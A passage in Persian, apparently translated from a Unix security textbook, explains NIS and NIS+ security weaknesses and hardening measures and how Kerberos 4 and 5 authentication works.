  !صحيح نبودهم 

هـا و   گيرنـده   سـرويس بـراي ورود بـه       "+" اربريِك ـ نـام ترين راههـا بـراي رويـارويي بـا ايـن سـردرگمي، اسـتفاده از                   ي از ساده  كي
ه ك ـنيد، تا اتفـاقي     كه را در آوريد و سپس براي ورود به سيستم تلاش            كابل شب كتوانيد  همچنين مي . است NISهاي  دهنده سرويس

 ردنك ـ در هر دو حالت نبايد بتوانيد فقط با تايپ        . سازي شود افتد شبيه  براي رايانه مي   NIS ةدهندهنگام در دسترس نبودن سرويس    
  .ربندي شده يا خيركدهنده بدرستي پيه سرويسكاين آزمون به شما خواهد گفت . اربري وارد سيستم شويدك نامبعنوان "+" 

 در  NISه سيستمتان نـسبت بـه سـردرگمي زيرسيـستمهاي           كنيد  كنيد، گمان ن  ك ود را اجرا مي   عامل خ    جديدي از سيستم   ةاگر نسخ 
  .شوندب ميك هم اين اشتباه را مرتLinux روي NISهاي  بطور خاص، بعضي از نسخه. ايمن است"+" قبال 

                                                                                                                                            
فايـل  موجـود در   NISاقـلام    GIDو  UIDمقـادير  تغييـر  توانـد بـا جلـوگيري از    سازيهاي ديگر، اين خطر ميو شايد بعضي پياده NISاز  Sunسازي  در پياده    ۱۶۰

passwd  نوعي اصلاح شوده كاربران محلي ببه صفر، و يا ساير مقادير توسط.  
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  NISبهبود امنيت 

 NISهـاي  افشاي غيرمجاز اطلاعات پايگـاه داده چندين راه براي جلوگيري از .  شامل اطلاعات حساسي استNISهاي  پايگاه داده 
 ١٦١دفـاع در عمـق چنـد لايـه         روش   كنيد تا ي  كتوانيد چند مورد از اين روشها را ادغام           مثل بيشتر بهبودهاي امنيتي، مي    . وجود دارد 

  :بدست آوريد

 مرتبط  UDPهاي    ندهيد بسته نيد و اجازه    كمحافظت  خود  پايگاه  از   مسيرياب هوشمند    كيا حداقل ي  ديوارة آتش   با استفاده از     .١
 portmapper بـر اسـاس   RPCه ك ـمتأسـفانه بـه ايـن علـت     .  داخلي و دنياي بيروني مبادلـه شـوند      ةك ميان شب  RPCبا  
در عمـل، تنهـا     .  پـورت ثابـت و مـشخص نيـست         كه مورد استفاده قرار گرفته، ي     ك UDPريزي شده است، پورت واقعي        پايه

 .دهيده خودتان بصورت خاص اجازه تبادل آنها را ميك است، بجز آندسته UDPهاي  ه بستةردن راه همكاستراتژي امن، سد 

ه ك ـ) IPنـام ميزبـان يـا آدرس        بـر اسـاس     (هـا     تواند فهرستي از رايانـه    به  كقرار دهيد   استفاده  را مورد    portmapperاي از   نسخه .٢
نداريـد مهـاجم همچنـان      ديـوارة آتـش     اگر  . ندك بايد تأييد يا رد شود تهيه        RPCهاي خاص   دهندهدسترسي آنها به سرويس   

 ابتـدا  RPCهاي گيرندهند، اما اگر سرويس ك را ارزيابي    RPC از خدمات    ك، وجود هري  portmapperتواند بدون دخالت      مي
 ـ كي ـدر زمينة وقوع    تواند   مي NIS ة بهبود يافت  ة نسخ كنند، ي ك تلاش   portmapperبراي برقراري تماس با      بـالقوه   ة حمل

 .دهشدار ده

اگر ايـن فايـل     . ند يا نه  ك  استفاده مي  NISهاي  دهنده روي سرويس  var/yp/securenets/ شما از فايل     NISه آيا   كببينيد   .٣
ديگـر  نگارشـهاي   . ندك را دارند مشخص     NISه قابليت دريافت اطلاعات     كهايي    هكتواند فهرستي از شب     وجود داشته باشد مي   

NIS    خـاص    ةدهنـد  سرويس كه دسترسي آنها به ي    كردن آدرسهايي   ك غربالاحتمالاً براي RPC    توسـط ypserve   مجـاز 
 .دهنداست، روشهاي ديگري ارائه مي

ادارة  IPسي از بيـرون نتوانـد آدرسـهاي    ك ـه كاگر بناي شما اين است  !  از يادتان برود   DNSه  كنيد  ك استفاده ن  NISآنقدر از    .٤
 .ي براي استفاده داخلي و ديگري براي استفاده خارجيك ي-نيد كاندازي راه ١٦٢ نامةدهندسرويسشما را بفهمد، دو 

NIS+ت ك شرSun  

NISت كوقتـي مـشتريان شـر   .  طراحي شده بـود كوچكاي دوستانه و  براي محيطهاي رايانهSun Microsystems   شـروع بـه 
در . دي و نـاامن اسـت     اربرك ـتهاي بـزرگ غير   ك شر ة براي استفاد  NISردند، معلوم شد    كاري  كهايي با هزاران ايستگاه       هكساخت شب 

رد و چند سـال بعـد ايـن سيـستم تحـت عنـوان       كرا شروع  جايگزين NIS ك ية تهيSun Microsystemsت ك شر۱۹۹۰سال 
NIS+عرضه شد .  

NIS+        بـه  ه ك ـچرا ، بودنـد مورد آزمون قرار نگرفتـه هاي اوليه آن عملاً   نسخه رسيدو بنظر مي   بسرعت به خراب بودن شهرت يافت
ص ي نقـا Sunدر نهايـت  . ننده و ناقص بـود ك  آن بسيار گيجبردارياز اين گذشته، سند. ردندكه قرار بود عمل مي    كندرت طبق آنچه    

 مرجـع عـالي بـراي       كي. ه است كنترل ايمن شب  كتر براي مديريت و      سيستم قابل اطمينان   ك ي +NISه امروز   كرد بطوري كآنرا رفع   
  . است١٦٤ رمزيكري نوشته ١٦٣+NIS در مورد راهبري همه چيزتاب كنند ك  استفاده مي+NISه از كافرادي 

                                                                                                                                            
161  Layered Defense-in-Depth 
162  Nameserver 
163  All About Administrating NIS+ (SunSoft Press, Prentice Hall, 1994) 
164  Rick Ramsey 
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  دهد  انجام مي+NISه كاري ك

NIS+  رودار مـي ك ـاربران سـازمان ب كها و   اطلاعات در مورد رايانهةه براي ذخير  كسازد  هايي مي ه پايگاه داده  ك در شب .NIS+  ايـن 
 هك از طريق شـب +NIS ،NISبر خلاف  .  هستند NISهاي  رد مشابه نگاشت  كاين جدولها از نظر عمل    . نامدمي" جدول"ها را   پايگاه داده 

  .آورد اطلاعات را بوجود مي١٦٥اصلاح افزايشيان كام

شده در  اصلي اطلاعات ذخيرهةه حاوي نسخك رايانه است كاين ي.  دارد ١٦٦+NIS اصلي   ةدهندسرويس ك دقيقاً ي  +NIS ةهر دامن 
شـود حتـي    ار باعـث مـي    ك ـه اين ك ـثير شود،   كتواند ت دهنده مي ويسشده در اين سر   اطلاعات ذخيره . باشد مي ١٦٧+NIS اصلي   ةدامن
تـوان از     همچنـين مـي   . ه همچنـان قابـل اسـتفاده بمانـد        ك اصلي خاموش است يـا در دسـترس نيـست شـب            ةدهنده سرويس كزماني

  .ردكاستفاده نيز ها  براي زيردامنه+NISهاي دهنده سرويس

 كتوانـد ي ـ   مـي  +NISل  ك ـ مو كي. شوند   ناميده مي  ١٦٨+NISلان  كمونند  ك قرار مي  ارتباط بر  +NISه با استفاده از     كموجوديتهايي  
 ةدهنده روي سرويس  كليد خصوصي دارد    ك كليد عمومي و ي   ك ك ي +NISل  كهر مو . اربر تأييد اعتبار شده باشد    ك كميزبان و يا ي   

NIS+اند در دامنه ذخيره شده.  

هاي توابـع را  ه فراخوانيك RPCاي از   نسخه-" Secure RPC"ز طريق  ا+NISلان كها و مودهنده ميان سرويسارتباطات ةليك
را در برابر حملات اسـتراق سـمع و          ارتباطاتار،  كاين. شود   انجام مي  -ند  ك تصديق هويت و محافظت مي     DESاز طريق رمزگذاري    

 ،+NISبا اسـتفاده از  . ندك نظارت ميSecure RPCليدهاي ك همچنين بر ساخت و مديريت +NIS. سازدسازي مقاوم ميگمراه
  .ندك استفاده Secure RPC از اعضاي سازمان قادر خواهد بود از كهري

  ات مربوطهك و ساير ن+NISجدولهاي 

 را پـشتيباني  ا اساسي اشـي ة سه گون  +NIS. شوند   ذخيره مي  ١٦٩اشيا در قالب    +NIS هايدهندهشده در سرويس   اطلاعات ذخيره  ةليك
نند و بـراي تـصديق      ك  اشاره مي  +NISلان  كاي از مو    به مجموعه " گروهها"نند،  ك ربندي را ذخيره مي   ك پي اطلاعات" جدولها. "ندك مي

 سـاختار درختـي     كهاي هـستند، و ي ـ    توريكظرفهايي براي جدولها، گروهها، و ساير داير      " ها  توريكداير"روند، و   ار مي كهويت آنها ب  
  .آورند  بوجود مي+NISدهنده براي سرويس

NIS+  ،۱۶ اربري و  ك ـلهـا و خـدمات، حـسابهاي        كها، پروت   هكند، شامل جدولهايي براي ميزبانها و شب      ك دول را از پيش تعريف مي      ج
اربران دستـشان بـراي سـاختن       ك ـ. و ساير مـوارد   چندگانه   يكترونيك ال هايه، پست كهاي شب    گروه  و اربريكهاي    هاي عبور، گروه    رمز

  .جدولهاي اضافه براي خودشان باز است

  +NISه از استفاد

ورود به سيستم بصورت     ةبرنامشود،    اري مي ك ايستگاه   كاربر وارد ي  ك كوقتي ي . تواند بسيار رضايتبخش باشد      مي +NISاستفاده از   
  .نمايداربر رمزگشايي ك را با رمز عبور ند آنك ميتلاش  رده،كبازيابي اربر را ك +NIS امنيتي ةاستوارنامار كخود

ليـد  ك +NIS مربوط بـه  keyservروند ) ه معمولاً چنين استك(سان باشند ك ي+NIS شده درذخيرهز عبور و رم شده  وارداگر رمز عبور    
ند ك  دسترسي شبه مستقيم پيدا ميSecure RPCخدمات  ةاربر به همك  درنتيجهاربر را در حافظه نگه خواهد داشت وكخصوصي 

اربر ك ـسان نباشـند، آنگـاه   ك ـ ي+NISشده ذخيرهو رمز عبور شده واردمز عبور اگر ر). شود مياني تصديق هويت نامرئي ميةلايبعبارت ديگر  (

                                                                                                                                            
165  Incremental Update 
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167  NIS+ Root Domain 
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 رمزهـاي عبـور خـود را بـا فرمـان      +NISاربران ك ـ.  شـود  +NIS وارد دامنـه     keyloginبايد بصورت دستي و با استفاده از دستور         
nispasswdه بسيار مشابه فرمان كنند، ك عوض ميpasswd Unix ندكار ميك استاندارد.  

 ه راههـاي تعامـلِ    ك ـ دسترسـي    نتـرلِ كاربران، و با ايجاد فهرستهاي      ك ابزار براي تصديق هويت      كردن ي ك با فراهم    +NISمنيت  ا
 دو نوع تـصديق     +NIS. شودسازي مي ند پياده نكنترل مي ك را   +NISشده در جداول    اربران تصديق هويت شده با اطلاعات ذخيره      ك

اي براي راهبري      است و بصورت گسترده    UID توسط   +NIS فرمان   كبر اساس اجراي ي    تصديق هويت محلي     :ندك هويت ارائه مي  
  . استSecure RPC نيز بر مبناي DESتصديق هويت و  شود،  استفاده مي+NISهاي اصلي دهندهسرويس

).  تغييـر داد   nischownان  توان بـا فرم ـ    شيء را مي   ك ي كمال(باشد     آن مي  ةنندكايجاد  همان  ه معمولاً   كدارد،  " كمال "ك ي +NISهر شيء   
ل داراي چه نـوعي از دسترسـي   كدام موكه كنترل اينكه براي كدارند در اختيار  نترل دسترسي   ك همچنين فهرستهاي    +NISاشياي  

:  شيء دسترسي داشته باشـند كتوانند به ي ل مي كچهار نوع مو  . رودار مي ك ب - خواندن، تغيير، ايجاد، حذف، يا ادغام        -به شيء است    
  . ديگرةلان تصديق هويت شدك گروه هستند، و موكه با شيء در يكلاني ك شيء، موك، مال)هاي تصديق هويت نشده تقاضا(س كهيچ

 ةبنـابراين هم ـ . اي منفرد مربوط به خود امتيازات دسترسي بيشتر بدهنـد       ن است به رديفها، ستونها، يا اقلام داده       ك مم +NIS جداول
توانـد آن سـطر از جـدول را      اربر تنها مي  ك جدول دسترسي خواندن دارند، اما هر        كمتهاي ي  قس ةاربران تصديق هويت شده به هم     ك
 اي دسترسـيهاي رديفهـا، سـتونها، و اقـلام داده          هك ـاز آنجا   توجه داشته باشيد    . اربري خود او مربوط است تغيير دهد      كه به حساب    ك

  .دنباشنمياعمال قابل  ، بيشترةنندكدودنند، قوانين محكنترل دسترسي را بزرگتر كتوانند فهرست منفرد مي

  +NISمحدوديتهاي 

 ةبا اين وجـود، مثـل هم ـ  . ه سيستم بسيار امني باشدكتواند براي تصديق هويت و مديريت شب   ربندي شود مي  ك درست پي  +NISاگر  
 +NISه كاي هكن بر شب   آ ةه نتيج ك اشتباهي رخ دهد     +NISربندي يا مديريت    كه در پي  كان وجود دارد    كسيستمهاي امنيتي، اين ام   

  :شودر ميكذيلاً مسائلي براي آگاهي ذ. اهش يافتن ايمني باشدكند كاز آن محافظت مي

NIS+ را در حالت سازگاري NISنيدك اجرا ن١٧٠  
NIS+  سازگاري  " حالت   ك داراي يNIS "  ةدهنده در آن به سرويس    كاست NIS+  گيرنـدگان     ه با سـرويس   كدهد     اجازه ميNIS  از 

قادر ) هاي ديگر هكو شايد حتي شب   ( شما   ةك در شب  NIS ةدهند هر سرويس  نيدك را در اين حالت اجرا       +NISاگر  . ندكاط برقرار   درون ارتب 
  .ندك دسترسي پيدا +NIS ةدهندشده در سرويساي از اطلاعات ذخيرهخواهد بود به هر قطعه

  يدنك را در فواصل زماني منظم بصورت دستي بررسي +NISدسترسيهاي اشياي
هـا، و گروههـا بايـد بـصورت دسـتي و در       تـوري ك، داير +NIS وجود ندارد، بنابراين جدولهاي      +NISافزار بررسي جامعيت      هنوز نرم 

ه ايـن دو  ك ـس اجازه تغيير دارنـد و همچنـين جـداولي     ك هيچ يا همه     ةه بوسيل كدر مورد اشيايي    . فواصل زماني منظم بررسي شوند    
  .ت به خرج دهيدنند مراقبك جديد ايجاد ينها اشياتوانند در آلان ميكمواز طبقه 

  نيدكشوند را ايمن   روي آنها اجرا مي+NISهاي دهندهه سرويسكهايي  رايانه
 +NIS ةدهندبتوانند به سرويس  مهاجمين  اگر  . شود ايمن است    ه روي آن اجرا مي    كاي   رايانه ةثر به انداز  ك حدا +NIS ةدهندسرويس

اربران جديد، تغيير   كه اين شامل ايجاد     كنند،  ك ايجاد   +NIS ةرا در دامن    دلخواه  خواهند توانست هر تغيير    نندكپيدا  " root"دسترسي  
  .شود هم مي+NISدهنده اربران، و حتي تغيير رمز عبور اصلي سرويسكهاي عبور  رمز
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  نيدك استفاده +NIS ۲ ةاز سطح امنيت شمارها دهندهدر سرويس
امـل  كنترل دسترسـي و تـصديق هويـت        ك. نندكار  ك ۲، و   ۱،  ۰وانند در سه سطح امنيتي به نامهاي        ت   مي NIS+هاي  دهندهسرويس
  .ردكاستفاده  ۲تنها بايد از سطح  NIS+هاي دهندهفعال است، و براي سرويس ۲تنها در سطح امنيتي 

Kerberos  

ه همراه نمايشگرهاي بزرگ، پردازشگرهاي اري قوي بك صدها ايستگاه ١٧١)MIT (مؤسسه فناوري ماساچوستدر ۱۹۸۰ ةدر اواخر ده 
 ١٧٢كمشترزمان ةچند رايان ها و   پايانهه از   كتر  ، جايگزين سيستم قديمي   Ethernetهاي    ، و رابط  كوچكهاي  ك، ديس )در آنزمان (سريع  

  .ه دسترسي داشته باشندكها به فايلهاي خود و شب از رايانهكاربران بتوانند با استفاده از هريكه كهدف اين بود . بود شديل يافتهكتش

چـون از   . ار شـد  كاي آش ـ ه به طـور آزاردهنـده     كل استراق سمع شب   كردند، مش كاري شروع به فعاليت     كهاي    ه ايستگاه كبه محض اين  
هـاي جاسوسـي    ه از برنامـه   كشد  نمي) يا مهاجمين خارج مؤسسه   (ه دسترسي داشت، هيچ چيزي مانع دانشجويان        كشد به شب    جا مي همه
انـدازي  اري توسط دانشجويان يا راه    كه بتوان از افشا شدن رمز عبور اصلي ايستگاههاي          كن بود   كتقريباً غيرمم . نندكده ن ه استفا كشب

هاي متصل بـه      ه بسياري از رايانه   ك اين بود    ردكتر مي لات را پيچيده  كه مش كچيزي  . ردكاربري جلوگيري   ككمجدد آنها در حالت ت    
اري بايـد  ك ـ. بهره بـود اي هم بيه حتي از مقدمات امنيت رايانهكردند كاي اجرا ميند و برنامه بودIBM PC/ATهاي ه، رايانهكشب

  .آمد  بود حفاظت به عمل ميكمشتره سيستم زمانك سيستم قبلي ةه حداقل به اندازكشد تا از فايلهاي دانشجويان در شب انجام مي

ه بـراي حفاظـت از اطلاعـات        ك ـ سيستم تـصديق هويـت       ك بود؛ ي  "Kerberos"ل امنيتي   ك براي رفع اين مش    MIT نهايي    حلراه
ه ك ـاري  ك ـ ايـستگاه    كاربري در ي ـ  ك ـوقتي  . ردك استفاده مي  DESاز رمزنگاري    -هاي باز     هك مثل رمزهاي عبور در شب     -حساس  

Kerberos        ةدهند روي آن درحال اجرا است وارد شود، سرويس Kerberos    اربر ك ـبلـيط   . ندكميصادر  " بليط "كاربر ي ك براي آن
اربر ك ـاز اين ديـدگاه، هرگـاه       . آوردن بليطهاي ديگر است     شود و حاوي اطلاعات مورد نياز براي بدست         اربر باز مي  كتنها با رمز عبور     

 هـاي  اطلاعـات بلـيط    ةچـون هم ـ  . نـد ك بليط خاص آن سرويس ارائه       كند، بايد ي  كه دسترسي پيدا    كشباز خدمات    يكبخواهد به ي  
Kerberos ندقابل استراق سمع هم نيستارسالي شود، اطلاعات ه فرستاده شود رمزگذاري ميكه روي شبكاين قبل از.  

Kerberos 4  وKerberos 5  

مـورد   در بـازار     Kerberos ة درحـال حاضـر از دو نـسخ         و  تا به امروز انجام شده است      Kerberosپنج بازنگري اساسي در تاريخ      
  .قرار دارداستفاده 

Kerberos 4 از Kerberos 5 بعنوان مثال . تر اما محدودتر است ارآمدكKerberos 4هاي  هكتواند روي شب  تنها ميTCP/IP 
 نالتحـصيلا    فـارغ  ۱۹۹۶در اوايـل سـال      . شـود محـسوب مـي   رده، و درحال حاضر قـديمي       كه ارتقا پيدا ن   كند، چند سال است     كار  ك

 ةدر نحـو  عميـق    ضـعف    ك ي ـ Purdueدر دانشگاه   ) دغام شده است   ا CERIAS با مرکز تحقيقاتي     ۱۹۹۸که در سال    ( COASTآزمايشگاه  
هرچند . ليدهاي نشست را در عرض چند ثانيه حدس بزند  كداد    ه به مهاجم اجازه مي    كردند  كشف  ك Kerberos 4ليد  ك شدنهساخت

 در برابر Kerberos 4سازيهاي ه بعضي از پيادهك اصلاح بصورت گسترده توزيع شد، اما مشخص شده كپذيري يبراي اين آسيب
  .پذير هستند و هيچ اصلاحي نيز برايشان ارائه نشده است آسيبهم  bufferحملات سرريزي 

Kerberos 5ل كپروتشدة شناختهلات ك مشKerberos ه مقـاومتر سـاخت  كشـب معمـول  رد و آنـرا در برابـر حمـلات    ك را رفع .
Kerberos 5ندكار كه كيگر شبتواند با انواع د مي وپذيرتر است همچنين انعطاف .Kerberos 5هايي بـراي  بيني همچنين پيش

اند، استفاده از آنهـا چنـدان         سازي شده گانه پياده  سه DESاگرچه الگوريتمهايي مثل    .  دارد DESرمزگذاري غير   الگوريتمهاي  ار با   ك
  .اندردهكه از رمزگذاري استفاده كهاي قديمي گسترده نيست، بيشتر به دليل برنامه
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ان تفويض شدن تصديق هويت، بليطهايي با زمان انقـضاي بـيش از   كام:  چند قابليت جديد نيز داردKerberos 5ه كآخر اين ةتكن
خواهيـد از   چنانچـه مـي   . هـاي بـسيار ديگـر     شوند، و گزينـه   ه زماني در آينده فعال مي     ك ساعت، بليطهاي تجديد پذير، بليطهايي       ۲۱

Kerberos شود نيد توصيه ميك استفادهKerberos 5ار ببريدك را ب.IETF تـشريح   روي بازنگري وRFC   ه ك ـ - ۱۵۱۰شـمارة
Kerberos 5ل پيشنهاد داده استكپروتاين  قابل انتظار براي ةرده و چند توسعكار ك -ند ك را تعريف مي.  

  Kerberosتصديق هويت 

. باشداند مي    ذخيره شده  Kerberosهاي  ندهدهه در سرويس  ك تماماً بر اساس دانستن رمزهاي عبور        Kerberosتصديق هويت در    
 كدهنده ذخيره و با ي ـ     در سرويس  Kerberosشوند، رمز عبور    رمزگذاري مي طرفه  كه با الگوريتم ي   ك Unixبرخلاف رمزهاي عبور    

. دي شـو  شايدهنده رمزگ ـ  سرويس ةصورت نياز بوسيل  د در توان  ميد، و لذا    شو   رمزگذاري مي  - DESثر موارد   ك در ا  -الگوريتم متداول   
  .نمايد ميتصديق  Kerberos ةدهندهويت خود را براي سرويسمورد استفاده، ليد كاز خود آگاهي اثبات با نيز اربر ك

 از  Kerberosه  ك ـ ايـن اسـت      ةاربر دسترسي دارد نتيج ـ   ك ةشد به رمز عبور رمزگشايي    Kerberos ةدهنده سرويس كاين حقيقت   
ه ك ـمعنـي ايـن مـسئله ايـن اسـت       .  اسـت  Kerberos عيب جـدي سيـستم       ك اين ي  ١٧٣.ندكليد عمومي استفاده نمي   كرمزنگاري  
ي ايمـن   ك ـدهنده بايد بصورت فيزي   سرويس. داشته باشد " ايمني محاسباتي "ي ايمن باشد و هم      كدهنده هم بايد بصورت فيزي    سرويس

دهنده بايد نـسبت بـه حمـلات        رويسس. اربران جلوگيري شود  ك رمزهاي عبور    ةهمافشاي  دهنده و   باشد تا از دزديده شدن سرويس     
 ةتوانـد هم ـ  ند، بـاز هـم مـي      كپيدا  " root"دهنده شود و دسترسي     اگر مهاجم بتواند وارد سرويس    چراکه   ،ورود به سيستم ايمن باشد    

  .رمزهاي عبور را بدزدد

Kerberos ـ  سرويس.  آن بتواند مستقل از حالت باشد    ةدهنده سرويس كاي طراحي شد     بگونه  اربران ك ـ تقاضـاهاي   هدهنـده فقـط ب
ه درصورت در دسـترس     ك -رار و ثانويه    كهاي ت دهندهاين طراحي ايجاد سرويس   . ندك دهد و هرگاه لازم بود بليط صادر مي         پاسخ مي 

متأسـفانه ايـن   . نـد كنـسبتاً آسـان مـي     را   -تواننـد بـه تقاضـاهاي تـصديق هويـت پاسـخ دهنـد                  اصـلي مـي    ةدهندنبودن سرويس 
ه ك ـه اين مسئله به اين معني است        ك دارند،   Kerberosهاي  املي از تمام پايگاه داده    كهاي  نسخهانويه نياز به    هاي ث  دهنده سرويس

  .ي و هم از نظر محاسباتي ايمن باشندكآنها نيز بايد هم از نظر فيزي

 ورود اوليه به سيستم

نـام  يعنـي   ؛رايانه عادي استسيستم   ك ورود به ي   ند مشابه ك استفاده مي  Kerberosه از   كاري  ك ايستگاه   كورود به ي  براي كاربر،   
بـه فايلهـا، پـست      اربر پس از ورود به سيـستم        ك  و شودند و اگر صحيح بودند وارد سيستم مي       كاربري و رمز عبور خود را تايپ مي       ك
  .دسترسي خواهد داشتي، پرينترها، و ساير منابع مشابه كترونيكال

 ـك يـا  - sshd١٧٤ -اري ك ـ به سيـستم ايـستگاه   د وروبرنامةوقتي . تر است  پيچيدهدهد بسيار البته آنچه در پس پرده رخ مي       ةتابخان
 براي تصديق هويـت    Kerberosشناسد، از سيستم     را مي  Kerberos ) ديگر شبكه  daemonيا يك    (- PAMمثل   -تصديق هويت   

  .برد اربر بهره ميك

                                                                                                                                            
يـك  . شـود  اسـتفاده نمـي    kerberosبـود، از آن در      قانون مالكيت معنوي    وليد شد رمزنگاري كليد عمومي همچنان تحت حفاظت         ت kerberosچون زمانيكه      ۱۷۳

معرفي شده، و روشـهايي بـراي ادغـام         " kerberosرمزنگاري كليد عمومي براي تصديق هويت آغازين در         "وجود دارد كه بعنوان      IETFاز طرف    پيشنهاد اوليه 
 .سازي شده است مايكروسافت پيادهةبوسيلپيشنهاد اين . كند ارائه ميkerberos كليد عمومي با كارتهاي هوشمند

  :قابل دسترسي استزير در تصديق هويت در آدرس  Kerberos 5 براي استفاده از OpenSSH هايوصله   ۱۷۴
 http://www.sxw.org.uk/computing/patches/openssh.html 

خوشـبختانه پروتكـل   . شده، اما بسيار دشوار است كه دو سيستم را وادار به ارتباط مياني با يكديگر كـرد هم استفاده مي SSHاز  Kerberos 4هرچند در كنار   
SSH  تواند از لايه امنيتي مشابه  مي۲نگارشKerberos 5 )GSSAPI (مربـوط   پيشنهاد اولية .شوداستفاده كند، كه باعث ساده شدن قابل توجه مسائل مي

  .draft-ietf-secsh-gsskeyexدهد عبارت است از كه ادغام اين سيستمها را پوشش مي IETFه ب
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تـوان هـر      ه براي اين امر مي    كند،  ك را چگونه پيدا     Kerberos ةدهنده سرويس ك بايد بداند    Kerberosگيرنده    ه سرويس كاول اين 
بـا   را Kerberosهـاي  دهنـده تـوان سـرويس  ، يا مي)krb5.confبطور سنتي در فايل     (رد  كربندي  كگيرنده را بصورت دستي پي      سرويس

 IETF Internet-Draft draft-ietf-krv-wg-krb-dns-locateدر سـند  ، کـه   اعـلام عمـومي نمـود   DNS SRVاقلام دادة 
  .توضيح داده شده است

 تـصديق هويـت   ةدهنـد پيـامي را بـه سـرويس    كـاري   ايـستگاه  ،رديـد كاربري خود را وارد ك ةه شناسك بعد از اينKerberos 4در 
Kerberos ه شـما سـعي داريـد وارد سيـستم شـويد           ك ـدهـد     اربري شماست و نـشان مـي      ك ة اين پيام حاوي شناس    ١٧٥.فرستد مي .

اربر مجاز شـناخته شـويد،      ك كند و چنانچه شما بعنوان ي     ك  شما را بررسي مي    ة خود پروند  ة در پايگاه داد   Kerberos ةدهند  سرويس
اري از شـما    ك ـسـپس ايـستگاه     .  رمز عبور شما رمزگذاري شده است      پيامه با خلاصه  كند  ك  بليط تصديق بليط برايتان ارسال مي      كي

ايـد  ردهك ـه شـما ارائـه   ك ـشـده را بـا رمـز عبـوري     ند بليط رمزگـذاري كيتاً تلاش مي  نيد و نها  كه رمز عبور خود را وارد       كخواهد    مي
ند، و منحصراً از بلـيط تـصديق بلـيط          كاري رمز عبور شما را ذخيره نمي      كآميز باشد، ايستگاه    اگر رمزگشايي موفقيت  . ندكرمزگشايي  
ايد و از شـما     ردهكه شما رمز عبور نادرستي ارائه       ك دانست   اري خواهد كست بيانجامد، ايستگاه    كاگر رمزگشايي به ش   . ندكاستفاده مي 

  .نيدكردن رمز عبور صحيح تلاش كخواهد مجدداً براي وارد مي

 پيـام  كآنگاه ي ـ. نيدكماند تا شما رمز عبور خود را وارد  دهنده منتظر مياري قبل از تماس با سرويسك، ايستگاه Kerberos 5در 
 Kerberos تـصديق هويـت      ةدهنـد  بـه سـرويس    -ه با رمز عبور شما رمزگذاري شـده         ك -انروز  اربري و تاريخ هم   ك ةحاوي شناس 

شـده را   نـد تـاريخ رمزگـذاري     ك، و تلاش مي   يابدميگردد، رمز عبور شما را      اربري شما مي  ك ةدهنده بدنبال شناس  سرويس. فرستد  مي
آنگـاه  )  ه طبيعتاً در اينصورت آن تاريخ، تاريخ همانروز خواهد بـود      ك(ند  كرا رمزگشايي   ارسالي  دهنده بتواند تاريخ    اگر سرويس . ندكرمزگشايي  

  ١٧٦.فرستدند، و سپس براي شما ميك، آنرا با رمز عبورتان رمزگذاري ميآوردبوجود مي بليط تصديق بليط كي

ه ك ـ - Kerberos بليط براي سرويس بليط تـصديق بلـيط          كليد نشست و ي   ك ك داده است حاوي ي    ك بلو كبليط تصديق بليط ي   
تواند با سرويس تصديق      اربر مي كاري  كدر اينحالت ايستگاه    . ليد سرويس تصديق بليط رمزگذاري شده     كليد نشست و هم با      كهم با   
ه ك ـاربراني ك ـهـا و  دهنـده اي از سـرويس   مجموعه- Kerberos يل درون قلمروك تماس بگيرد تا براي هر مو Kerberosبليط  

  . بليط بدست آورد-شناسد  را مي آنهاKerberos ةدهندسرويس

نـد،  ك به فايلهاي خود دسترسي پيـدا        Kerberosاري  ك ايستگاه   كند از طريق ي   كاربر براي بار اول تلاش مي     كبعنوان مثال وقتي    
 فايـل   ةدهنـد  بلـيط بـراي سـرويس      كگيـرد و تقاضـاي ي ـ     اري با سرويس تصديق بليط تماس مي      كافزار سيستم روي ايستگاه     نرم
 بلـيط   كبليط فرستاده شـده حـاوي ي ـ      . گردانددهنده فايل باز مي    بليط براي سرويس   كاربر ي كسرويس تصديق بليط به     . دفرست مي

تواند براي درخواست فايلها آنـرا بـه      اربر مي كاري  ك فايل رمزگذاري شده است، و ايستگاه        ةدهنده با رمز عبور سرويس    كديگر است،   
اربر ك ـاري  ك ـ و آدرس اينترنتي ايستگاه      اربر، زمان انقضا  ك ةشده حاوي نام تصديق هويت شد     ادبليط ي . ندك فايل ارائه    ةدهندسرويس

 فايل بليط را با استفاده از رمز عبور         دهندةسرويس. ندكدهنده فايل ارائه مي   اربر اين بليط را به سرويس     كاري  كسپس ايستگاه   . است
دهنـده فايـل     روي سرويس  UID كو ي ) IP، آدرس   UID(اربر  كاري  كگاه   نگاشت ميان ايست   كند، و بعد از آن ي     كخود رمزگشايي مي  

 تقاضا و انتقال آن از ميزبان مشابه در زمانهـاي بعـد             كگذارد تا از دزديده شدن ي      زمان روز را در تقاضاها مي      Kerberos. سازدمي
  .ندك جلوگيري )نندهك مهاجم استراق سمع كرار توسط يك حمله تكدر يمثلاً (

                                                                                                                                            
. دهنده تصديق هويت، و سرويس تـصديق بلـيط        سرويس:  وجود دارد  kerberosدهنده  منطقي دو نوع سرويس   از نظر   ،  kerberosبا توجه به مقالات و اسناد          ۱۷۵

دهنـده   سـرويس  -دهنـده   بصورت فيزيكـي تنهـا يـك سـرويس    kerberos، چون همه سيستم تلقي دقيق نيستين كنند كه ا فكر ميصاحبنظرانتعدادي از   
kerberosگيرد را بكار مي-دهنده كليد  ، يا سرويس.  

متأسفانه، اين مسئله . داقل برساندشد را به حكرد تعداد دفعاتي كه رمز عبور كاربر در ايستگاه كاري ذخيره ميتلاش مي Kerberos 4چرا پروتكل تغيير يافت؟    ۱۷۶
دهنده ايستگاه كاري بايد به سرويس Kerberos 5در . حدس زد offlineبصورت را  Kerberso 4رمزهاي عبور بليط تصديق بليط براحتي بتوان باعث شد 

شده كاربر از چند چون بليط تصديق بليط رمزگذاري     تر است، هر  اين يك سيستم امن   . داندنشان دهد كه كاربر رمز عبور صحيح را مي         kerberosتصديق هويت   
  .مله واقع گرددحمورد كامل تواند بوسيله يك مهاجم دزديده شود و با يك جستجوي كليد شود، لذا همچنان ميدهنده به ايستگاه كاري فرستاده ميسرويس
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Kerberos      ةدهنـد اري منفـرد در سـرويس     ك ـايـستگاههاي   ذخيـره شـدن در      رمزهاي عبور بجاي    .  از نظر امنيتي چند مزيت دارد 
Kerberos  تـصديق  ةدهنـد سـرويس .  بصورت رمزشده يا هر طـور ديگـر      -يابند  انتقال نمي ه  ك هرگز از روي شب     و شوند   ذخيره مي 

تواند هويـت   اربر هم مي  كداند، و همينطور    اربر رمز عبور خود را مي     ك ند، چون كاربر را تصديق    كتواند هويت      مي Kerberosهويت  
